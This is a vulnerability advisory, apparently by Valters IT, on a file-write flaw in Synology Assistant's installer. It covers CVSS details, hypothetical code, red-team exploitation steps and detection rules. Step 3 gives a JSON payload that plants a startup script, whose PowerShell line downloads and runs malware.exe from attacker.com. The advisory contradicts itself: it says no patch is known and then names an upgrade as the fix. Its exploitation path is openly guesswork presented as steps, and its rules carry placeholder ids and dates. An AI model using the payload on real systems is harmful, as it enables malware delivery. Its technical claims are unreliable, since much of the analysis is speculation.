CVE-2025-66593

Executive Summary

CVE-2025-66593 is a local privilege escalation vulnerability in Synology Assistant, a utility used for discovering and managing Synology NAS devices on a local network. The flaw is an origin validation error (CWE-346) that allows a local attacker to write arbitrary files with restricted content during the installation process. This could be leveraged to inject malicious configuration files, overwrite trusted binaries, or plant persistence mechanisms, leading to a compromise of the host system. The vulnerability has a CVSS score of 6.1 (Medium) and currently has no known public exploit or patch status from the vendor. The attack vector is local, requiring the attacker to have already gained some level of access to the system.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It affects a standalone desktop application (Synology Assistant) distributed by Synology. The risk is primarily to end-user workstations and servers where Synology Assistant is installed for NAS management.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs basic user privileges.
• User Interaction (UI): None (N) – No user action is required beyond the attacker's own actions.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the vulnerable component.
• Confidentiality (C): None (N) – No data is exposed.
• Integrity (I): High (H) – The attacker can write arbitrary files, compromising system integrity.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the ability to write arbitrary files with restricted content during installation is a significant integrity risk. An attacker could overwrite critical system files or inject malicious code that executes with elevated privileges during the installation process.

Deep Dive & Mechanics

The vulnerability resides in the origin validation logic of Synology Assistant. During the installation process, the application likely receives data from a remote source (e.g., a Synology NAS or a configuration server) to customize the installation. The flaw is that the application does not properly validate the origin of this data, allowing a local attacker to spoof or intercept the data stream.

Mechanism:

1. A local attacker with low privileges on the system initiates or monitors the Synology Assistant installation process.
2. The attacker intercepts or spoofs the data stream that Synology Assistant expects to receive from a legitimate source (e.g., a NAS device).
3. Due to the origin validation error, Synology Assistant accepts the attacker-controlled data without proper verification.
4. The attacker crafts this data to include file paths and content, which Synology Assistant then writes to the local filesystem during the installation.
5. The written files are "restricted content," meaning they may be limited in size or type, but can still be used to overwrite configuration files, inject scripts, or plant malicious executables.

Root Cause: The application fails to enforce a strict origin check (e.g., verifying the source IP, using cryptographic signatures, or validating a trusted certificate) before processing data that leads to file write operations.

Vulnerable vs. Patched Code

Since no patch details or code diff is publicly available, the following is a hypothetical representation of the vulnerable and patched code logic.

Vulnerable Code (Hypothetical):

# Vulnerable: No origin validation
def process_install_data(data):
    # data is received from a network source
    for item in data['files']:
        filepath = item['path']
        content = item['content']
        with open(filepath, 'w') as f:
            f.write(content)

Patched Code (Hypothetical):

# Patched: Origin validation added
def process_install_data(data, source_ip):
    # Validate the origin of the data
    if not is_trusted_source(source_ip):
        raise Exception("Untrusted source")
    for item in data['files']:
        filepath = item['path']
        # Additional validation: ensure filepath is within allowed directory
        if not filepath.startswith("/allowed/install/dir/"):
            raise Exception("Invalid file path")
        content = item['content']
        with open(filepath, 'w') as f:
            f.write(content)

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a system running Synology Assistant < 7.0.6-50085.
• Ability to intercept or spoof network traffic on the local machine (e.g., using a man-in-the-middle proxy or ARP spoofing).

Exploitation Steps:

1. Setup a Local Proxy: Use a tool like mitmproxy or Burp Suite to intercept traffic from Synology Assistant.
2. Identify the Installation Data Stream: Monitor the traffic during the installation process to identify the data stream that contains file write instructions.
3. Craft Malicious Payload: Create a payload that instructs Synology Assistant to write a malicious file. For example, overwrite a startup script or add a new scheduled task.

   {
     "files": [
       {
         "path": "C:\\Users\\Public\\startup.bat",
         "content": "powershell -Command \"Invoke-WebRequest -Uri http://attacker.com/malware.exe -OutFile C:\\Users\\Public\\malware.exe; Start-Process C:\\Users\\Public\\malware.exe\""
       }
     ]
   }
   

4. Intercept and Modify: Use the proxy to intercept the legitimate data stream and replace it with the malicious payload.
5. Trigger Installation: Allow the installation to continue. Synology Assistant will write the malicious file to the specified path.
6. Execute Payload: If the written file is a startup script, it will execute on the next system boot. Alternatively, the attacker can manually execute it.

Note: No public exploit code is available for this CVE.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual file write operations during Synology Assistant installation, especially to sensitive directories (e.g., C:\Windows\System32, C:\ProgramData, startup folders).
• Monitor network traffic for anomalies during Synology Assistant installation, such as unexpected data streams or connections to unknown IPs.
• Use file integrity monitoring (FIM) to detect changes to critical system files during installation.

Defense:

• Patch: Upgrade to Synology Assistant 7.0.6-50085 or later.
• Least Privilege: Run Synology Assistant with the minimum necessary privileges. Avoid running it as an administrator.
• Network Segmentation: Isolate systems running Synology Assistant from untrusted networks.
• Application Control: Use application whitelisting to prevent unauthorized executables from running.
• Endpoint Detection and Response (EDR): Deploy EDR solutions to detect and block malicious behavior.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected files written to C:\Users\Public\, C:\Windows\Temp\, or startup directories during Synology Assistant installation.
  • Modification of system configuration files (e.g., hosts, services) during installation.
• Network:
  • Unusual outbound connections from the Synology Assistant process to unknown IP addresses.
  • Data streams with unexpected JSON or XML structures during installation.
• Process:
  • Synology Assistant process spawning child processes (e.g., cmd.exe, powershell.exe) during installation.
  • Unusual file write operations by the Synology Assistant process.

Detection Engineering

YARA Rule

rule CVE_2025_66593_Synology_Assistant_File_Write {
    meta:
        description = "Detects potential exploitation of CVE-2025-66593 by monitoring for suspicious file writes during Synology Assistant installation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66593"
    strings:
        $s1 = "Synology Assistant" nocase
        $s2 = "install" nocase
        $s3 = "write" nocase
        $s4 = "file" nocase
    condition:
        $s1 and $s2 and ($s3 or $s4)
}

Sigma Rule

title: Suspicious File Write During Synology Assistant Installation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-66593 by monitoring for file writes to sensitive directories during Synology Assistant installation.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66593
logsource:
    category: file_event
    product: windows
detection:
    selection:
        Image|endswith: 'Synology Assistant.exe'
        TargetFilename|contains:
            - 'C:\Users\Public\'
            - 'C:\Windows\Temp\'
            - 'C:\ProgramData\'
            - 'C:\Windows\System32\'
    condition: selection
falsepositives:
    - Legitimate installation files written by Synology Assistant
level: medium

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2025-66593 - Synology Assistant Suspicious Data Stream"; flow:to_server; content:"Synology Assistant"; nocase; content:"install"; nocase; content:"file"; nocase; content:"path"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update Synology Assistant to version 7.0.6-50085 or later. This is the only known fix.
2. Isolate: If upgrading is not immediately possible, isolate systems running the vulnerable version from untrusted networks.
3. Monitor: Implement the detection rules provided above to identify potential exploitation attempts.

Long-Term Mitigations:

• Least Privilege: Ensure Synology Assistant is run with the minimum necessary privileges.
• Application Control: Use application whitelisting to prevent unauthorized code execution.
• Network Segmentation: Segment networks to limit the blast radius of a local compromise.
• Regular Audits: Conduct regular security audits of software installed on critical systems.

Valters IT